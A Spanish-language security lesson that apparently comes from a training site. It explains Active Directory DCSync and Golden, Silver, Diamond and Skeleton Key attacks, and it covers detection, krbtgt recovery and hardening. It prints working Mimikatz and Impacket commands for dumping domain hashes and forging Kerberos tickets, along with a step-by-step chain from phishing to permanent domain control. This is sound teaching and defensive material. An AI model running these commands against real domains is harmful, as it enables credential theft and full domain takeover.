DCSync y Golden Ticket: cómo se replica un DC y se forjan TGTs eternos

2026-11-05 · 10 min de lectura

DCSync replica un controlador de dominio y vuelca todos los hashes, incluyendo el de krbtgt. Con ese hash forjas un Golden Ticket: un TGT falso que te da acceso como cualquier usuario. Aprende cómo se detectan, se ejecutan y se cierran.

Después de las lecciones de Active Directory, Kerberos y BloodHound de la Tanda 3, toca el salto a las dos técnicas que definen lo que llamamos compromiso total del dominio: DCSync y Golden Ticket. Un atacante que ejecuta ambas con éxito tiene, en términos prácticos, control permanente del dominio Active Directory: puede impersonar a cualquier usuario, desde el becario hasta el admin de empresa, por el tiempo que quiera, sin que el equipo blue team pueda hacer nada salvo rotar un secreto muy específico dos veces seguidas.

DCSync es la técnica de replicar un controlador de dominio usando el protocolo legítimo que usan los propios DCs para sincronizarse entre sí. Si tu cuenta tiene los permisos de replicación (DS-Replication-Get-Changes y DS-Replication-Get-Changes-All), puedes pedirle a un DC que te mande los hashes NTLM de todos los usuarios del dominio, incluyendo el de krbtgt, la cuenta especial que firma los tickets Kerberos. Con el hash de krbtgt en la mano, forjas Golden Tickets: tickets TGT falsos que presentas al dominio y te autentican como cualquier usuario con los grupos que elijas.

Esta lección cubre el flujo entero: cómo se consigue permiso de replicación, cómo se ejecuta DCSync, cómo se forjan Golden Tickets (y Silver Tickets, su primo menor), cómo se detectan y cómo se recupera un dominio tras un compromiso. Es la cuarta y última lección de Active Directory en /aprende, completando el bloque que empezó con Kerberoasting.

Practica solo en laboratorios o dominios propios. Replicar un DC ajeno o forjar tickets contra un dominio sin autorización es delito penal en prácticamente cualquier jurisdicción.

DCSync en una imagen#

DCSync: atacante con permisos de replicación → DRSUAPI al DC → DC devuelve credenciales de todos los usuarios incluyendo krbtgt

DCSync no es un exploit: es el uso legítimo del protocolo DRSUAPI (Directory Replication Service) que usan los DCs para replicarse entre sí. Lo convierte en «ataque» el hecho de que un usuario que no es DC pero tiene los permisos de replicación puede hablar ese mismo protocolo y pedirle a un DC todos los hashes.

Los permisos necesarios son dos ACEs sobre el objeto del dominio:

DS-Replication-Get-Changes
DS-Replication-Get-Changes-All

Que lleva de serie quién:

Administradores del dominio, admins de empresa, Enterprise Domain Controllers.
Cuentas de servicio mal diseñadas (Azure AD Connect, scripts de replicación, operadores delegados).
Usuarios añadidos manualmente en delegaciones que nadie limpió después.

Detectar quién puede DCSync#

Con BloodHound:

MATCH p=(u:User)-[:GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN p

Con PowerView:

Get-ObjectAcl -DistinguishedName "dc=lab,dc=local" | \
  Where-Object {$_.ObjectAceType -like "*DS-Replication*"}

Cualquier usuario no-admin que aparezca ahí es una ruta de compromiso. En entornos corporativos grandes, lo normal es encontrar dos o tres cuentas de servicio con permisos olvidados.

Ejecutar DCSync#

Con una cuenta con los permisos (típicamente tras Kerberoasting + crack):

Impacket#

impacket-secretsdump -just-dc LAB/admin:'Password!'@dc01.lab.local

# Output:
# Administrator:500:aad3b435...:8846f7eaee8fb117ad06bdd830b7586c:::
# krbtgt:502:aad3b435...:aa5e6f8f3c1b0a94c5e8d7f1a2b3c4d5:::
# ... todos los usuarios del dominio ...

Mimikatz#

lsadump::dcsync /domain:lab.local /user:krbtgt

Ambas usan DRSUAPI y producen el mismo resultado: hashes NTLM de todas las cuentas. El hash de krbtgt es la joya: con él fabricas TGTs arbitrarios.

Golden Ticket#

Un Golden Ticket es un TGT (Ticket Granting Ticket) forjado localmente sin pedirlo al KDC. El TGT está firmado con el hash de krbtgt, así que el DC lo acepta como válido. Dentro pones:

Un SID de dominio.
Un RID de usuario (típicamente 500 para administrador, o uno falso).
Los SIDs de los grupos a los que quieres pertenecer (Domain Admins = S-1-5-21-...-512, Enterprise Admins, etc.).
Un tiempo de validez (por defecto 10 años en Mimikatz).

Fabricarlo con Mimikatz#

kerberos::golden /user:cualquiera /domain:lab.local \
  /sid:S-1-5-21-123-456-789 \
  /krbtgt:aa5e6f8f3c1b0a94c5e8d7f1a2b3c4d5 \
  /id:500 \
  /groups:512,513,518,519,520 \
  /ptt

/ptt lo mete directamente en la sesión actual. A partir de ahí, net use \\dc01\C$ y entras como admin.

Fabricarlo con Impacket#

impacket-ticketer -nthash aa5e6f8f3c1b0a94c5e8d7f1a2b3c4d5 \
  -domain-sid S-1-5-21-123-456-789 \
  -domain lab.local administrator

export KRB5CCNAME=administrator.ccache
impacket-smbclient -k -no-pass dc01.lab.local

Resultado: eres administrador del dominio sin introducir ninguna contraseña.

Silver Ticket#

Variante menos ruidosa pero más específica. En vez del hash de krbtgt, usas el hash de la cuenta de servicio de un servicio concreto (por ejemplo, el CIFS del servidor file01). Fabricas un Service Ticket (TGS) directamente, sin pasar por el DC.

kerberos::golden /user:cualquiera /domain:lab.local \
  /sid:S-1-5-21-... \
  /target:file01.lab.local \
  /service:cifs \
  /rc4:<hash-NTLM-cuenta-maquina-file01> \
  /ptt

Diferencias con Golden:

No habla con el DC: menos probable detección.
Un solo servicio: solo file01, no cualquier cosa.
Requiere el hash de la cuenta de máquina del servicio objetivo.

Para obtener ese hash, suele llegar vía Kerberoasting o dumpeando la cuenta de máquina con secretsdump tras un compromiso parcial.

Detección#

Event ID 4662 en el DC con GUID de permisos de replicación cuando no es un DC legítimo quien pregunta.
Event ID 4624 con tipo de autenticación Kerberos desde IPs que no son DC.
Tiempos de vida anormales en tickets Kerberos: 10 años es sospechoso.
SIDs inconsistentes: el Golden Ticket con un grupo que no coincide con el GC.
ATA / ATP de Microsoft / Defender for Identity tienen detecciones específicas para DCSync y Golden.
Sigma rules: hay reglas públicas para todas estas técnicas.

En la práctica, detecciones empíricas:

Cuenta no DC haciendo DRSUAPI → investigar.
Usuario con sesión de 10 años → anómalo.
Alertas de Microsoft ATP sobre «replicación no autorizada» → tomar en serio.

Recuperación tras un compromiso#

Si confirmas que un atacante consiguió DCSync + Golden Ticket, la recuperación requiere:

Rotar el password de krbtgt dos veces (el DC guarda la clave actual y la anterior; con una rotación los Golden Ticket siguen siendo válidos; con dos quedan invalidados).
Espera entre rotaciones de al menos la duración máxima de ticket (por defecto 10 horas).
Scripts oficiales de Microsoft: New-KrbtgtKeys.ps1.
Revisar backups de AD por posibles exfiltraciones.
Rotar todas las credenciales de servicio relevantes.
Auditar Golden Tickets latentes si el escenario lo permite.

En casos graves, muchas empresas optan por un tier 0 reset: reconstruir los DCs desde cero y migrar objetos limpios. Es caro pero es la única garantía total.

Defensa preventiva#

Tiering de Active Directory: separar Tier 0 (DCs y admins), Tier 1 (servidores), Tier 2 (workstations). Credenciales no se cruzan entre tiers.
Microsoft LAPS: passwords de admin local únicas por máquina.
Protected Users group para admins: niega NTLM, cachés, delegación.
Credential Guard en workstations.
Rotación regular de krbtgt: cada 180 días como estándar; cada 90 en entornos sensibles.
Monitorización activa de replicación: ATA, Defender for Identity, SentinelOne, CrowdStrike.
Auditar ACLs de replicación con BloodHound periódicamente.
MFA para todas las cuentas privilegiadas.

Encadenamiento típico: de usuario normal a Golden Ticket#

El flujo canónico en un pentest AD, uniendo las lecciones AD vistas antes:

Paso	Técnica	Qué obtienes
1	Phishing / credencial inicial	Shell como usuario normal
2	BloodHound ingestor	Mapa de ACLs y relaciones
3	Kerberoasting	Hashes de cuentas de servicio
4	Crack con hashcat	Password de svc_sql
5	Detectar ruta (BloodHound)	svc_sql es Domain Admin oculto
6	DCSync con svc_sql	Hash de krbtgt y todas las cuentas
7	Golden Ticket	Dominio bajo control permanente

Cada paso individual tiene su defensa (phishing training, SPN limpios, passwords fuertes para cuentas de servicio, revisión de ACLs, monitorización de replicación, rotación de krbtgt). En una organización con AD maduro, la cadena se rompe en los primeros eslabones. En una con décadas de deuda técnica, llega hasta el final.

El par Skeleton Key#

Técnica relacionada menos conocida: con DA en un DC, Mimikatz puede inyectar una Skeleton Key en la memoria de LSASS que hace que todas las cuentas del dominio acepten una misma password maestra (mimikatz por defecto) además de la suya. Los usuarios siguen usando su password normal (no se dan cuenta); el atacante entra con cualquier cuenta usando mimikatz. Sobrevive mientras el DC no se reinicie.

misc::skeleton

Es ruidosa: deja módulos cargados en LSASS que Defender detecta hoy en día. Pero ilustra bien el principio: cuando tienes DA, el dominio es un sandbox donde puedes escribir las reglas.

Errores comunes#

Dejar cuentas de servicio con permisos de replicación tras instalaciones de Azure AD Connect, Veeam, software de monitorización.
No rotar krbtgt nunca.
Admins de dominio en estación de trabajo normal (expone el hash con cada kerb).
Falta de alertas sobre Event ID 4662.
Ignorar BloodHound porque «lo auditamos hace 6 meses».

Preguntas frecuentes#

¿Por qué el hash de krbtgt es tan valioso?#

Porque con él puedes firmar cualquier TGT. Los TGT los firma siempre krbtgt. Si tienes ese hash, fabricas la credencial maestra del dominio.

¿Un Golden Ticket pasa Protected Users?#

Protected Users deshabilita NTLM y ciertas protecciones de ticket. Un Golden Ticket forjado con los flags correctos puede pasarlo, pero deja más trazas.

¿Azure AD tiene equivalente?#

No en el mismo sentido: Azure AD no usa Kerberos nativamente. Pero hay técnicas análogas en Azure (abuso de Managed Identities, aplicación de app roles). Se cubren en la lección Azure cuando llegue.

¿Silver Ticket es más usado hoy que Golden?#

En red team moderno, sí: es más silencioso y requiere menos permisos. Golden se usa cuando ya no importa la OpSec porque has ganado el dominio.

¿Dónde practico?#

El laboratorio red-hat de whoami-labs incluye un dominio AD con cuentas intencionadamente mal delegadas: tras kerberoastear una cuenta de servicio y crackear su password, obtienes los permisos de DCSync y puedes replicar el flujo entero.

¿Qué pasa con Microsoft Defender for Identity?#

Es una capa de detección específica que vigila tráfico hacia los DCs. Detecta DCSync desde cuentas no DC, anomalías de replicación, Golden Ticket con tiempos de vida raros y Skeleton Key. No es infalible, pero sí la forma más práctica de tener alertas tempranas sin montar un SOC completo. Los operadores sofisticados buscan silenciarlo o evitar sus patrones de detección; para la mayoría de atacantes oportunistas, saltar su alerta vale la pena en la defensa.

¿Diamond Ticket y Sapphire Ticket son lo mismo?#

Son variantes refinadas del Golden Ticket que evitan algunas detecciones. Diamond Ticket modifica un TGT legítimo existente en memoria (en vez de forjar uno nuevo), pasando desapercibido para detecciones basadas en inconsistencias. Sapphire Ticket combina la técnica con request legítimo al DC para una firma más auténtica. Ambas requieren el hash de krbtgt igualmente; la diferencia es solo de OpSec y detección. Un entorno que se defienda bien contra Golden se defiende peor contra estas variantes.

¿Un ticket Golden sigue siendo válido tras expirar la contraseña del usuario que dice ser?#

Sí. El Golden Ticket no consulta el estado del usuario: se firma offline con la clave krbtgt y el DC confía en la firma. Puede ser para un usuario que ya no existe en AD; el ticket sigue funcionando hasta que krbtgt rote. Es parte de lo que lo hace tan devastador.

Resumen#

DCSync usa el protocolo DRSUAPI para replicar un DC desde una cuenta con DS-Replication-Get-Changes[-All].
Dumpea todos los hashes incluyendo krbtgt, la clave que firma los tickets Kerberos.
Golden Ticket: TGT forjado offline con el hash de krbtgt, válido por años, acceso como cualquier usuario.
Silver Ticket: TGS forjado con el hash de la cuenta de máquina, un solo servicio, menos ruidoso.
Detección: Event ID 4662, ATP/ATA, Sigma rules. Recuperación: rotar krbtgt dos veces.
Prevención: tiering, LAPS, Protected Users, Credential Guard, rotación programada.